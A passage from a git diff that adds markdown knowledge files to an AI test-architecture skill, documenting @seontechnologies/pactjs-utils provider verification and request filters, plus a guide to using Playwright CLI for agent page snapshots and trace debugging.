+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
